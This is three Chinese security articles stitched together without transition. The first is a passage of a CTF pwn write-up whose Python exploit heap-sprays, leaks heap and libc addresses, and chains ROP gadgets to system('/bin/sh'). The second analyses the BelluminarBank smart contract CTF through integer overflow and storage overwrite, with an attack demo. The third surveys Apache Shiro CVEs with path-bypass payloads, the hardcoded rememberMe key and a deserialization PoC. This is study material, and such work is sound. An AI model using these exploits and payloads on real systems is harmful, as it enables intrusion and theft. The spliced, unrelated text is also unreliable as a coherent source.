= 0x58585858的目的。（0x56xxxxxx + 0x200000000 = 0x58xxxxxxxx）
data = []
for i in range(0x10):
data.append(['X' * (0x20000 - 1), 1])
malloc(0x20000, data)
delete()
dbg()
# all chunk full with 0x58
# malloc 0x10 * 0x10 0x20000 chunks ==> 0x2000000
# heapbase ==> 0x56xxxxxx | 0x57xxxxxx
# so heapspray to 0x58xxxxxxx | 0x59xxxxxx
# while dword[0x58585858] == 0x58585858
for i in range(0x10):
malloc(0x20000, data)
# index 0 - 0xff
data = []
然后我们虽然控制了 **magic_addr** 地址内容，但是却不知道它在哪个Big Block，哪个Small Block里。
接下来利用CallFunction函数功能，可以将该地址内容减一，再输出时，就会与众不同（几乎所有的内容都是 **X**
，唯独magic_addr因为减一操作， **X** 变为 **W** ），利用这一差异，可以推算出magic_addr在堆中的分布
# malloc 0x1 * 0x10 * 0x1000 0x1000000
for i in range(0x10):
data.append(['X' * (0x1000 - 1), 1])
malloc(0x1000, data) # index 0x100 - 0x10f
delete()
data = []
# malloc 0x1 * 0x10 * 0xf0 chunk
for i in range(0x10):
data.append(['X' * (0xf0 - 1), 0]) # undefine type will be left XXXX
malloc(0xf0, data) #index 0x100 - 0x10f
#dbg()
#every malloc 0x10 chunk
# set 0x58585858 = 0x58585857
# because of not null will dec 1
callfuc(0x100) # 0x100 - 0x10f all work
# show
show(0, 0x100) #
index = 0
offest = 0
out = ''
for i in range(0x100):
out = p.recvline()
if 'W' in out: # 'W' = 'X' - 1; while means 0x58585858 is contained
index = i
break
out = out[12 : ] # 12 is 'Notes are : '
offest = out.index('W') # 'W''s offset in small block
log.info('0x58585858 is : %d' % index) # small block's index
log.info('offest is : %d' % offest)
log.info('start addr is : ' + hex(0x58585858 - offest)) # small block's start addr
block_start = (index / 0x10) * 0x10 # big block's index
log.info('block start is : ' + hex(block_start))
magic_addr = 0x58585858
#0x100-0x10f free
delete()
虽然知道了magic_addr在堆上的index，但是仍然无法直到初始堆的地址（因为Small
Block是随机的，index不能表现堆地址的高低），所以现在的magic_addr在堆上情况大致是这样的（低地址 —> 高地址）
其中，magic_addr所处的Big Block是确定的 **block_start / 10** ，在所处的Small Block的偏移也是确定的
**offset** ，但是它所处的Small Block在同一Big Block的位置是不确定的 **count**
，一旦获取count，我们就可以得到堆的初始地址了
下面仍然是利用类似的方式推测出 **count** ，遍历count所有可能的取值，通过将可能的地址遗留在最后的4byte位置，减一的方式，得到与众不同的
**W** ，输出差异判断 **count**
判断的原理
magic_addr所在的Big Block的前一个Big Block的最后一个（最后分配，地址最大）Small Block地址一定包含 magic_addr - 0x20008 * count
而我们将magic_addr - 0x20008 * count 的低位由0x58变为0x57，输出前一个Big Block的内容的时候如果出现'W'，且所在的small index小于block_start证明colunt是正确的
代码如下
count = 1
p_index = 0
while 1:
log.info("start find prev block count = %d" % count) # find 0x58585858'small block's count in the big_block
data = []
for i in range(0x10): # left's size all 0x20008
data.append([p32(magic_addr - 0x20008 * count) * (0x1000 / 4 - 1), 1])
# a number about count is write in a big block
malloc(0x1000, data) # 0x100 - 0x10f
delete()
data = []
for i in range(0x10):
data.append(['X' * (0xa0 - 1), 0])
malloc(0xa0, data) # last number all be writen in andefined area
# 0x100 - 0x10f
log.info("start call fuc count = %d" % count)
callfuc(0x100) # type -= 1 0x58xxxxxx
show(block_start - 0x10, index + 1) # 包含0x58585858地址
p_index = 0
out = ''
for i in range(index + 1 - block_start + 0x10):
out = p.recvline()
if 'W' in out:
out = out[12 : ]
print "find again! " + str(out.index('W'))
p_index = i + block_start - 0x10 #p_index=>(block_start - 0x10, index+1)
break
delete()
#find last of th
if p_index < block_start:
break
count += 1
log.info('block start is : %d' % block_start)
log.info('p_index is : %d' % p_index)
heap_start_addr = magic_addr - 0x20008 * (count - 1 + 0x10 * (block_start / 0x10)) - offest - 8
log.info('heap start is : ' + hex(heap_start_addr))
有了heap的基地址，也就意味着我们有了堆上的可控地址，可以想办法泄露由于free到unsorted bin而留下来的libc的信息
释放所有的Block
for i in range(0x10):
delete() # all delete
data = []
此时可以看到heap_start的fd bk指针已经是指向main_arena结构的，和libc相关
但是若想泄露，就需要想办法绕过 **x00**
截断，这个其实没有别的选择，再次把目光投向CallFunction，如果我们能够让因为read_str截断的x00落在最后4byte的位置，被减一，就成了0xff，绕开了0x00输出截断。
这是可以做到的，我们只需要分配一个chunk，只提供3个byte（第四个byte被填充为0x00）去覆盖fd指针。
而第一个chunk中最后4byte地址是可以从heap_start得到的 **heap_start_addr + 8**
再通过字节错位，将最后4byte的高位0x00转为低位，（ **heap_start_addr + 8 + 3** ）CallFuntion减一变为0xff
最终可以泄露bk指针获得libc地址。
for i in range(0x10):
# unsorted bin
# +3 highest 's byte is 0x00 will be lowest byte os type value
data.append([p32(heap_start_addr + 8 + 3 ) * (0x1000 / 4 - 1), 1])
malloc(0x1000, data)
delete()
data = []
for i in range(0x10):
# the type number not modified
data.append(['aaa', 0])
malloc(0xa0, data) # the type number is about main_arena
callfuc(0) # 0x00 - 1 = 0xff no null
show(0, 0x10) # leak libc
for i in range(index + 1 - block_start + 0x10):
out = p.recvline()
out = out[12 : -1]
if 'aaa' != out:
# leak main_arena
libc_addr = u32(out[4 : 8]) + 1 - 0x1b27b0
break
log.info('libc addr is : ' + hex(libc_addr))
获取Libc之后，我们很容易想到控制CallFunction去执行libc里的gadget。通过控制 ** _(heap_ptr) = 0,_
(heap_ptr + 4) = gadget**，另外将heap_ptr地址残留至低4 byte即可
gadgets = [0x3ac5c, 0x3ac5e, 0x3ac62, 0x3ac69, 0x3ac8c, 0x3ac8d, 0x5fbc5, 0x5fbc6]
for i in range(0x10):
data.append([p32(heap_start_addr + 8) * (0x1000 / 4 -1), 1]) #fd作为最后4 byte
malloc(0x1000, data)
delete()
data = []
for i in range(0x10): # last 4 byte will be heap_start_addr+8
# [heap_start_addr+8]=0 [heap_start_addr+12] = gadget
data.append([p32(0) + p32(libc_addr + gadgets[0]), 0])
malloc(0xa0, data)
callfuc(0) # call gadget
调试发现，虽然成功执行了gadget，却没能get shell，因为call eax时，不满足gadget的条件。
所以还是不能偷懒，需要布置ROP。由于我们的payload是在堆上，所以需要将栈迁移到堆上，即esp需要指向我们可控的堆地址。
可以看到在CallFunction中，ecx指向堆地址，且在call eax之前没有改动过。所以最好是实现 **xchg ecx, esp**
使用ROPgadget查找，虽然没有找到直接的，但是找到间接可以实现相同目的的。
magic_gadget1 = 0x00164301 # 0x00161871 : xchg eax, ecx ; cld ; call dword pre [eax]
magic_gadget2 = 0x00073b6a # 0x00073b6a : xchg eax, esp ; ;mov esi, eax ; add esp, 0x14 ; mov eax, esi ; pop ebx ; pop esi ; ret
通过gadget1调至gadget2，pop多余数据，最终调至system(“/bin/sh”)
data = []
for i in range(0x10):
data.append([p32(heap_start_addr + 12) * (0x1000 / 4 - 1), 1])
malloc(0x1000, data)
delete()
data = []
for i in range(0x10):
data.append([(p32(libc_addr + magic_gadget2) + p32(0) + p32(libc_addr
+ magic_gadget1) + p32(0) * 4 + p32(libc_addr + system_offest) + p32(0) +
p32(libc_addr + binsh_addr)).ljust(0xa0 -1, 'x00'), 0])
malloc(0xa0, data)
dbg()
callfuc(0)
这个题目很有新意，也让我感到惊喜！HeapSpray还有哪些好玩的呢？ | 社区文章 |
### 前言
近年来，各个大型CTF（Capture The
Flag，中文一般译作夺旗赛，在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式）比赛中都有了区块链攻防的身影，而且出现的题目绝大多数都是区块链智能合约攻防。此系列文章我们主要以智能合约攻防为中心，来剖析智能合约攻防的要点，前两篇我们分享了合约反编译，反汇编的基础内容。后续的文章中，我们会继续分享CTF比赛中智能合约常见题型（重入，整数溢出，空投，随机数可控等）及解题思路，相信会给读者带来不一样的收获。
上篇文章中我们分享了CTF比赛中常考的重入漏洞题型，本篇继续来分享CTF比赛中的整数溢出题型，也是比较常见的一类题型，当然多数CTF智能合约题目并不仅仅考察单个漏洞的攻防，可能涉及多个漏洞的组合。
本篇我们以2018年WCTF上BelluminarBank题目为例，给大家分享智能合约整数溢出的题型。解出这道题不仅需要整数溢出攻击，也需用到变量覆盖，权限设置等多个攻击技巧。
题目地址：
由于WCTF智能合约比赛没有在以太坊测试网（ropsten）进行，没有在线的攻防场景，合约具体题目介绍及合约源码已在GitHub给出：<https://github.com/beched/ctf/tree/master/2018/wctf-belluminar>
### 题目分析
##### 题目提示
团队需要对字节码进行反向工程，并使用以下攻击：
* 整数溢出绕过存款期限限制；
* 存储溢出以覆盖银行所有者；
* 存储访问权限以泄露私有属性；
* 部署自杀合同以强制将eth发送到目标合同（以解决余额差异）
不一定需要意外的以太攻击，如果使用withdraw()和invest()调用，则可以适当平衡。可能是由于导致错误解决方案的巨大错误所致：withdraw()函数不会更改balances数组。但是仍然需要事先利用整数溢出。
##### 合约说明
Belluminar Bank非常小而特别。其工作方式如下：
* 任何人都可以投资任何金额，并应指定存款期限（在此之前存款将被锁定）；
* 存款期限必须比先前客户的存款期限至少长1年；
* 每个存款分配一个账号；
* 帐户0包含31337 wei，由银行所有者（合同创建者）锁定多年；
* 存款期限满一年（如果您不提款），银行所有者可以没收您的存款。
目标是破解这家银行并清空其余额。如果成功，该机器人将向您发送交易数据中的标志。
##### 合约源码
pragma solidity ^0.4.23;
contract BelluminarBank {
struct Investment {
uint256 amount;
uint256 deposit_term;
address owner;
}
//全局变量
Investment[] balances;
uint256 head;
address private owner;
bytes16 private secret; //secret可读取
function BelluminarBank(bytes16 _secret, uint256 deposit_term) public {
secret = _secret;
owner = msg.sender;
if(msg.value > 0) {
balances.push(Investment(msg.value, deposit_term, msg.sender));
}
}
function bankBalance() public view returns (uint256) {
return address(this).balance;
}
//局部变量覆盖全局变量
function invest(uint256 account, uint256 deposit_term) public payable {
if (account >= head && account < balances.length) {
Investment storage investment = balances[account];
investment.amount += msg.value;
} else {
if(balances.length > 0) {
//存在整数溢出
require(deposit_term >= balances[balances.length - 1].deposit_term + 1 years);
}
//局部变量
investment.amount = msg.value;
investment.deposit_term = deposit_term;
investment.owner = msg.sender;
balances.push(investment);
}
}
function withdraw(uint256 account) public {
require(now >= balances[account].deposit_term);
require(msg.sender == balances[account].owner);
msg.sender.transfer(balances[account].amount);
}
function confiscate(uint256 account, bytes16 _secret) public {
require(msg.sender == owner);
require(secret == _secret);
require(now >= balances[account].deposit_term + 1 years);
uint256 total = 0;
for (uint256 i = head; i <= account; i++) {
total += balances[i].amount;
delete balances[i];
}
head = account + 1;
msg.sender.transfer(total);
}
}
##### 合约分析
从题目提示可以得出，本次攻击的目的是拿到合约中的所有余额。并且需要多个漏洞攻击手法。
先来分析合约中的存在转账功能函数withdraw()和confiscate()：
function withdraw(uint256 account) public {
require(now >= balances[account].deposit_term);
require(msg.sender == balances[account].owner);
msg.sender.transfer(balances[account].amount);
}
withdraw()函数中，会判断现在的时间是否大于存款的期限，第二句判断调用者地址是否是存款者地址，如果条件满足，就会转出当前合约调用者的存款余额，可以得出该函数并不能转出合约所有余额。
继续来看第二个函数confiscate():
function confiscate(uint256 account, bytes16 _secret) public {
require(msg.sender == owner);
require(secret == _secret);
require(now >= balances[account].deposit_term + 1 years);
uint256 total = 0;
for (uint256 i = head; i <= account; i++) {
total += balances[i].amount;
delete balances[i];
}
head = account + 1;
msg.sender.transfer(total);
}
confiscate()函数中会依次判断所有者地址，secret，存款期限，如果条件满足，之后会对存款数组进行遍历，将得到的资金amount全都赋予total，最终通过transfer()将所有余额转出，也就是说合约所有者可以将之前存款记录的余额全部取出。很明显，该confiscate()函数就是我们最终需要利用的转账函数。
如果要使用confiscate()函数进行转账，我们需要解决该函数中的前三行代码判断条件，由于题目给出了提示-存储溢出以覆盖银行所有者。我们继续分析该合约变量覆盖问题。
从合约源码可看到，该合约中有四个全局变量（balances，head，owner，secret），在solidity中，全局变量存储在storage当中，对于复杂的数据类型，比如array（数组）和struct（结构体），在函数中作为局部变量时，也会默认储存在storage当中。并且solidity的状态变量存储时，都是按照状态在合约中的先后顺序进行依次存储。
也就是说目前合约的四个全局变量存储如下：
storage[0] : balances
storage[1] : head
storage[2] : owner
storage[3] : secret
在invest()函数中，通过Investment storage investment =
balances[account];可得到一个结构体变量investment，该变量有三个成员均存在赋值操作，如下：
investment.amount = msg.value;
investment.deposit_term = deposit_term;
investment.owner = msg.sender;
在函数中作为局部变量时，也会默认储存在storage当中，由于结构体变量investment并未对三个成员进行初始化，所以当变量存储时依然会按照顺序存储在storage[0,1,2]中，那么目前storage中的存储为数据为：
这里局部变量覆盖全局变量时要特别注意一点：局部变量amount覆盖全局变量balances时，由于balances变量是数组的长度（目前数组中有合约部署者传入的一组数据，故balances为1），当其他调用者也传入的一组数据，比如传入的msg.value值为1（也就是amount的值为1时），之后变量覆盖后的balances值也为1，但是由于传入了一组数据后，数组的长度balances变为2，由于变量覆盖相互影响的关系，balances的值为2后，amount的值也变为2，也就是说虽然传入的msg.value值为1，但最终amount的值为2。
我们继续来分析合约漏洞，由于上图invest()函数中赋值的三个变量（msg.value，deposit_term，msg.sender）都可控：
第一个变量msg.value，是调用者传入的资金；
第二个变量deposit_term本身的含义是存款期限，调用者可根据自己情况输入需要存款的时间，在合约中发生变量覆盖后则代表head值（存款数据的索引）。并且在invest()函数中存在和deposit_term变量相关联的判断条件require(deposit_term
>= balances[balances.length - 1].deposit_term + 1
years)；我们将它和confiscate()函数中的判断条件require(now >= balances[account].deposit_term
+ 1 years);进行对比。
由于我们最终需要利用confiscate()函数中的transfer函数进行转账，如果按照正常逻辑运算，我们存钱后至少需要一年时间才能取出，所以该判断条件（require(now
>= balances[account].deposit_term + 1
years);）必须设法绕过。同时我们还需要invest()函数中的判断条件（require(deposit_term >=
balances[balances.length - 1].deposit_term + 1 years);）也正常执行。
可以看到这两行代码的条件判断中加减操作并没有做安全防护，这里假如我们使balances[balances.length - 1].deposit_term
+ 1
years值等于2^256，由于solidity的存储关系，这里会发生整数上溢出，最终结果为0，就可以绕过该判断条件。还需要注意的一点为：confiscate()函数中的for循环需要head（由于变量覆盖的关系，head值为deposit_term传入的值）从0开始才能将所有的资金取出，所以需要我们对deposit_term进行两次赋值：第一次赋值为2^256
- 1 years（solidity中默认时间单位为秒，故这里的赋值为：2^256 - 3153600 =
115792089237316195423570985008687907853269984665640564039457584007913098103936
），第二次赋值为0（赋值为0，判断条件也恒成立）。
第三个变量msg.sender，从上图可以看出，该变量传入后覆盖全局变量owner，当前调用者地址就会变为合约所有者，从而就可绕过confiscate()函数中msg.sender
== owner判断条件。
由于secret存储在storage（storage变量是指永久存储在区块链中的变量），所以我们可以调用storage索引获取里面的值。
至此confiscate()函数中的前三句判断条件均已满足。
### 解题思路
通过分析BelluminarBank合约漏洞，我们可以利用整数溢出，变量覆盖，访问权限等漏洞攻击转出合约所有余额。具体解题思路如下：
1. 通过调用invest()函数传入account为1，deposit_term为115792089237316195423570985008687907853269984665640564039457584007913098103936，携带的msg.value为1wei。account始终根据第一句的判断条件进行赋值。msg.value赋值amount，再进行balances变量覆盖（由于变量循环赋值的关系），最终结果balances=amount=2；deposit_term值变量覆盖也成为head值；调用者地址msg.sender最终变量覆盖后会成为合约所有者owner。调用之后balances[balances.length - 1].deposit_term + 1 years发生整数溢出，绕过判断条件。
2. 继续调用invest()函数传入account为2，deposit_term为0，携带的msg.value为2wei，msg.value赋值amount，再进行balances变量覆盖（由于变量循环赋值的关系），最终结果balances=amount=3；deposit_term值变量覆盖也成为head值为0，相当于还原head原始的值。
3. 由于balances变量的循环覆盖的关系，最终的合约余额会有差别，可通过合约自毁或者withdraw()函数调整合约余额。
4. 调用confiscate()函数传入两个参数：account为1，secret值为我们之后通过storage获取的密码值，最终取走合约所有的余额。
### 攻击演示
本次攻击演示在ropsten测试网进行，使用工具为Remix+Matemask+myetherwallet
Remix在线编辑器：<http://remix.ethereum.org/>
MetaMask钱包插件：<https://metamask.io/>
MyEtherWallet在线钱包：<https://www.myetherwallet.com/>
##### 1.首先部署BelluminarBank漏洞合约
使用在线编辑器Remix通过Meta Mask在线钱包A地址部署BelluminarBank合约，部署时给合约传入参数为：
value：31337 wei，deposit_term：0x00000000000000000000000000000001，_secret：1000
（为了方便查看数据，我们将合约源码中的一部分内容进行了可见性修改）
部署完成后目前合约中变量值为以下
##### 2.使用myetherwallet在线钱包调用BelluminarBank合约
在remix中获取api并复制部署的合约地址，填入myetherwallet钱包中。
连接成功
##### 3.调用invest()函数修改合约所有者owner，存款期限数值deposit_term，变量重复覆盖值amount
传入参数为：
value：0.000000000000000001
ETH，account：1，deposit_term：115792089237316195423570985008687907853269984665640564039457584007913098103936。
完成后目前合约中变量值为以下
##### 4.调用invest()函数修改存款期限数值deposit_term（修改head为0），变量重复覆盖值amount
传入参数为：
value：0.000000000000000002 ETH，account：2，deposit_term：0。
完成后目前合约中变量值为以下
虽然上图中显示的合约全部余额为31340 wei，但调用过程中出现循环变量覆盖，导致数组中的余额为31337+2+3 =31342 wei，如下图所示：
为了使合约本身余额与数组中的amount匹配，这里我们选择强制给该转币。
##### 5.通过c地址部署合约并调用taijie()函数自毁合约给BelluminarBank合约转2 wei，平衡合约数组中的余额。
自毁成功后，BelluminarBank合约余额变为31342 wei。
##### 6.调用confiscate()函数最终取走合约所有的余额
传入两个参数：account：2，secret：0x00000000000000000000000000000001
调用完成后，BelluminarBank合约余额变为0。
至此完成攻击演示
### 总结
本篇文章中，我们通过2018WCTF比赛中的BelluminarBank智能合约题目，详细分析了合约存在的漏洞问题，提供了解题思路并进行了攻击演示，其中使用的相关工具已在文中给出链接，希望对智能合约初学者及爱好者有所帮助，下一篇我们会继续分享CTF智能合约经典题目，请大家持续关注。 | 社区文章 |
## 什么是Shiro
[Apache Shiro](https://shiro.apache.org/) is a powerful and easy-to-use Java
security framework that performs authentication(身份验证), authorization(授权),
cryptography(加密), and session management(会话管理). With Shiro’s easy-to-understand API, you can quickly and easily secure any application – from the
smallest mobile applications to the largest web and enterprise applications.
## 相关CVE
根据官方网站上的[漏洞通报](https://shiro.apache.org/security-reports.html)，`Shiro`
在历史上共通报了 `11` 个 `CVE`（以及最新披露的CVE），其中包含认证绕过、反序列化等漏洞类型，接下来我们来依次学习。
漏洞编号 | Shiro版本 | 配置 | 漏洞形式
---|---|---|---
`CVE-2010-3863` | `shiro < 1.1.0` 和`JSecurity 0.9.x` | `/** = anon` |
`/./remoting.jsp`
`CVE-2014-0074`/`SHIRO-460` | `shiro 1.x < 1.2.3` | - | `ldap`、空密码、空用户名、匿名
`CVE-2016-4437`/`SHIRO-550` | `shiro 1.x < 1.2.5` | - | `RememberMe`、硬编码
`CVE-2016-6802` | `shiro < 1.3.2` | `Context Path`绕过 | `/x/../context/xxx.jsp`
`CVE-2019-12422`/`SHIRO-721` | `shiro < 1.4.2` | - | `RememberMe`、`Padding
Oracle Attack`、`CBC`
`CVE-2020-1957`/`SHIRO-682` | `shiro < 1.5.2` | `/** = anon` |
`/toJsonPOJO/`,`Spring Boot < 2.3.0.RELEASE` -> `/xx/..;/toJsonPOJO`
`CVE-2020-11989`/ `SHIRO-782` | `shiro < 1.5.3` | (等于1.5.2）`/toJsonList/* =
authc`；(小于1.5.3）`/alter/* = authc && /** = anon` | (等于1.5.2）`/`的两次编码 ->
`%25%32%66` `/toJsonList/a%25%32%66a
->/toJsonList/a%2fa`；（小于1.5.3）`/;/shirodemo/alter/test ->
/shirodemo/alter/test` (`Shiro < 1.5.2`版本的话，根路径是什么没有关系)
`CVE-2020-13933` | `shiro < 1.6.0` | `/hello/* = authc` | `/hello/%3ba ->
/hello/;a`
`CVE-2020-17510` | `shiro < 1.7.0` | `/hello/* = authc` | `/hello/%2e ->
/hello/.` (`/%2e`、`/%2e/`、`/%2e%2e`、`/%2e%2e/`都可以）
`CVE-2020-17523` | `shiro < 1.7.1` | `/hello/* = authc` | `/hello/%20 ->
/hello/%20`
`CVE-2021-41303` | `shiro < 1.8.0` | `/admin/* = authc` && `/admin/page =
anon` | `/admin/page/ -> /admin/page`
`CVE-2022-32532` | `shiro < 1.9.1` | `RegExPatternMatcher` && `/alter/.*` |
`/alter/a%0aaa -> /alter/a%0aaa`;`/alter/a%0daa -> /alter/a%0daa`
## CVE-2010-3863
### 漏洞信息
漏洞编号：[CVE-2010-3863](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3863) /
[CNVD-2010-2715](https://www.cnvd.org.cn/flaw/show/CNVD-2010-2715)
影响版本：`shiro < 1.1.0` 和`JSecurity 0.9.x`
漏洞描述：`Shiro`进行权限验证前未进行路径标准化，导致使用时可能绕过权限校验
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/ab8294940a19743583d91f0c7e29b405d197cc34)
### 漏洞分析
先分析一下`Shiro`身份验证的流程：`Shiro`使用`org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain`
方法获取和调用要执行的 `Filter`，逻辑如下：
在`getPathWithinApplication()`方法中调用
`WebUtils.getPathWithinApplication()`方法，用来获取请求路径。
其中`getContextPath(request)`方法获取 `Context` 路径
`getRequestUri(request)` 方法获取`URI` 的值，并调用 `decodeAndCleanUriString()` 处理。
在`decodeAndCleanUriString()`中对 `;` 进行了截取。
此时`contextPath`值为`/samples_web_war`，`requestUri`值为`/samples_web_war/login.jsp`
然后判断`requestUri`是否以`contextPath`开始，是的话将其替换为`/`
处理之后的请求 `URL` 将会使用 `AntPathMatcher#doMatch` 进行权限验证。
此时发现，`Shiro`中对`URI`并没有进行路径的标准化处理，这样当`URI`中存在特殊字符时，就存在绕过风险
#### 复现
[urls]
/login.jsp = authc
/logout = logout
/account/** = authc
/remoting.jsp = authc, perms["audit:list"]
/** = anon
有了上面的配置，直接访问：`/remoting.jsp`，会因为没有权限而跳转至登陆界面。
当访问 `/./remoting.jsp`，由于其不能与配置文件匹配，导致进入了 `/**` 的匹配范围，导致可以越权访问。
### 漏洞修复
`Shiro` 在
[Commit](https://github.com/apache/shiro/commit/ab8294940a19743583d91f0c7e29b405d197cc34)
更新中添加了标准化路径函数。
对 `/`、`//`、`/./`、`/../` 等进行了处理。
## CVE-2014-0074
### 漏洞信息
漏洞编号： [CVE-2014-0074](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0074) /
[CNVD-2014-03861](https://www.cnvd.org.cn/flaw/show/CNVD-2014-03861) /
[SHIRO-460](https://issues.apache.org/jira/browse/SHIRO-460)
影响版本：`shiro 1.x < 1.2.3`
漏洞描述 ：当程序使用`LDAP`服务器并启用非身份验证绑定时，远程攻击者可借助空的用户名或密码利用该漏洞绕过身份验证。
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/f988846207f98c98ff24213ee9063798ea5d9b6c)
### 漏洞分析
当使用了未经身份验证绑定的 `LDAP` 服务器时，允许远程攻击者通过空用户名或空密码绕过身份验证。
### 漏洞修复
`Shiro` 在
[f988846](https://github.com/apache/shiro/commit/f988846207f98c98ff24213ee9063798ea5d9b6c)
中针对此漏洞进行了修复
## CVE-2016-4437
### 漏洞信息
漏洞编号：[CVE-2016-4437](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437) /
[CNVD-2016-03869](https://www.cnvd.org.cn/flaw/show/CNVD-2016-03869) /
[SHIRO-550](https://issues.apache.org/jira/browse/SHIRO-550)
影响版本：`shiro 1.x < 1.2.5`
漏洞描述：利用硬编码的密钥构造`rememberMe`参数，进行反序列化攻击
漏洞补丁：[Commit](https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848)
参考： [Shiro 550反序列化漏洞分析](https://www.anquanke.com/post/id/225442)
### 漏洞分析
关键代码处于 `AbstractRememberMeManager#getRememberedPrincipals`
方法中，参数是用户的身份`Context`信息，如下图
这个方法主要是把`SubjectContext` 转化成 `PrincipalCollection`
。该方法调用了`getRememberedSerializedIdentity` 和 `convertBytesToPrincipals` 方法。
其中`CookieRememberMeManager` 的`getRememberedSerializedIdentity` 的实现是获取 `Cookie`
并 `Base64` 解码
将解码后的 `byte` 数组传入 `convertBytesToPrincipals` 中进行：`decrypt` 和
`deserialize`。`decrypt` 是使用 `AesCipherService` 进行解密。
`deserialize` 调用 `deserialize()` 方法反序列化解密后的数据。
反序列化得到的 `PrincipalCollection` 会被 `set` 到 `SubjectContext` 。
解密的调用栈入下图所示
此时就可以想象，如果我们有了加密密钥，使用密钥加密一个恶意序列化的`payload`，将`rememberMe`的值替换成`base64`后的`payload`传入服务器，那这样就可以触发漏洞了。关键点在于，我们如何获取加密密钥？
这就要提到`AbstractRememberMeManager`类，它是`RememberMeManager` 接口的实现。类中有几个关键变量：
* `DEFAULT_CIPHER_KEY_BYTES`：对称密钥，使用`Base64`加密之后直接存在代码中
* `serializer`：`Shiro` 提供的序列化器
* `cipherService`：用来对数据加解密的类
#### 漏洞利用
编写一个`poc`
package com.alter.Shiro;
import com.alter.Deserialize.CommonsCollections6;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class test {
public static void main(String[] args) throws Exception {
byte[] payloads = new CommonsCollections6().getPayload("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
将生成的`payload`赋值给`rememberMe`,但是发送过去后，服务器报错。
下面根据`p师傅`的分析复现一下报错原因，发现是这个类：`org.apache.shiro.io.ClassResolvingObjectInputStream`的问题。可以看到，这是一个`ObjectInputStream`的子类，其重写了`resolveClass`方法（`resolveClass`是反序列化中用来查找类的方法）：
对比一下它的父类，也就是正常的 `ObjectInputStream` 类中的 `resolveClass` 方法：
区别就是前者用的是`org.apache.shiro.util.ClassUtils#forName`(实际上内部用到了`org.apache.catalina.loader.ParallelWebappClassLoader#loadClass`)，而后者用的是`Java`原生的`Class.forName`
调试发现出现异常时加载的类名为`[Lorg.apache.commons.collections.Transformer;`这个类名看起来怪，其实就是表示`org.apache.commons.collections.Transformer`的数组。
所以，网上很多文章就给出结论，`Class.forName`支持加载数组，`ClassLoader.loadClass`不支持加载数组，这个区别导致了问题。但`p师傅`在`Java`漫谈中否定了这一观点，并写出结论：如果反序列化流中包含非`Java`自身的数组，则会出现无法加载类的错误。这就解释了为什么`CommonsCollections6`无法利用了，因为其中用到了`Transformer`数组。
`p师傅`在漫谈中分析讲解了两种`poc`，一个是[使用TemplatesImpl改造的无数组CCShiro反序列化链](https://alter1125.github.io/file/Shiro%20%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/Shiro550/CommonsCollectionsShiro.java)，这个链需要有`CC`依赖，另一个是[CB的无依赖Shiro反序列化链](https://alter1125.github.io/file/Shiro%20%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/Shiro550/CommonsBeanUtilsShiro.java)
这两个`poc`都可以测试成功了。
#### 漏洞修复
`Shiro` 在 `1.2.5` 的
[Commit](https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848)
中对此漏洞进行了修复。系统在启动的时候会生成一个新`key`，用户也可以手动配置一个`cipherKey`。
其实如果用户设置的密钥泄漏或者太简单的话，还是会被攻击成功。
其实在
[SHIRO-441](https://issues.apache.org/jira/browse/SHIRO-441)，就有人提出了硬编码可能带来的问题。
## CVE-2016-6802
### 漏洞信息
漏洞编号：[CVE-2016-6802](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6802) /
[CNVD-2016-07814](https://www.cnvd.org.cn/flaw/show/CNVD-2016-07814)
影响版本：`shiro < 1.3.2`
漏洞描述：`Shiro`未对`ContextPath`做路径标准化导致权限绕过
漏洞补丁：
[Commit](https://github.com/apache/shiro/commit/b15ab927709ca18ea4a02538be01919a19ab65af)
参考 ： [su18师傅](https://su18.org/post/shiro-2/#cve-2016-6802)
### 漏洞详解
本漏洞类似 `CVE-2010-3863`，依旧是路径标准化导致的问题，不过之前是在 `RequestURI` 上，本漏洞是在 `ContextPath`
上。
之前提到，`Shiro` 调用 `WebUtils.getPathWithinApplication()` 方法获取请求路径。逻辑如下：
public String getPathWithinApplication(HttpServletRequest request) {
String contextPath = this.getContextPath(request);
String requestUri = this.getRequestUri(request);
String path = this.getRemainingPath(requestUri, contextPath, true);
if (path != null) {
return StringUtils.hasText(path) ? path : "/";
} else {
return requestUri;
}
}
其中调用 `getContextPath()` 方法，获取 `contextPath` ；调用 `getRequestUri()` 方法，获取 `uri`
；
在`getContextPath()` 方法调用 `decodeRequestString` 进行 `URLDecode`。
由于获取的 `ContextPath` 没有标准化处理，如果出现一些特殊字符使`ContextPath`与实际不符，都会导致在
`StringUtils.startsWithIgnoreCase()` 方法判断时失效，直接返回完整的`RequestURI`。
#### 复现
登录账户`lonestarr`，该账户对页面`remoting.jsp`没有访问权限，在跟路径前加任意路径，再加`../`即可实现绕过
### 漏洞修复
`Shiro` 在 `1.3.2` 版本的
[Commit](https://github.com/apache/shiro/commit/b15ab927709ca18ea4a02538be01919a19ab65af)
中对此漏洞进行了修复。
通过代码可以看出，在 `WebUtils.getContextPath` 方法进行了更新，使用了修复 `CVE-2010-3863` 时更新的路径标准化方法
`normalize` 来处理 `ContextPath` 之后再返回。
## CVE-2019-12422
### 漏洞信息
漏洞编号：[CVE-2019-12422](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12422) /
[CNVD-2016-07814](https://www.cnvd.org.cn/flaw/show/CNVD-2019-42574)
/[SHIRO-721](https://issues.apache.org/jira/browse/SHIRO-721)
影响版本：`shiro < 1.4.2`
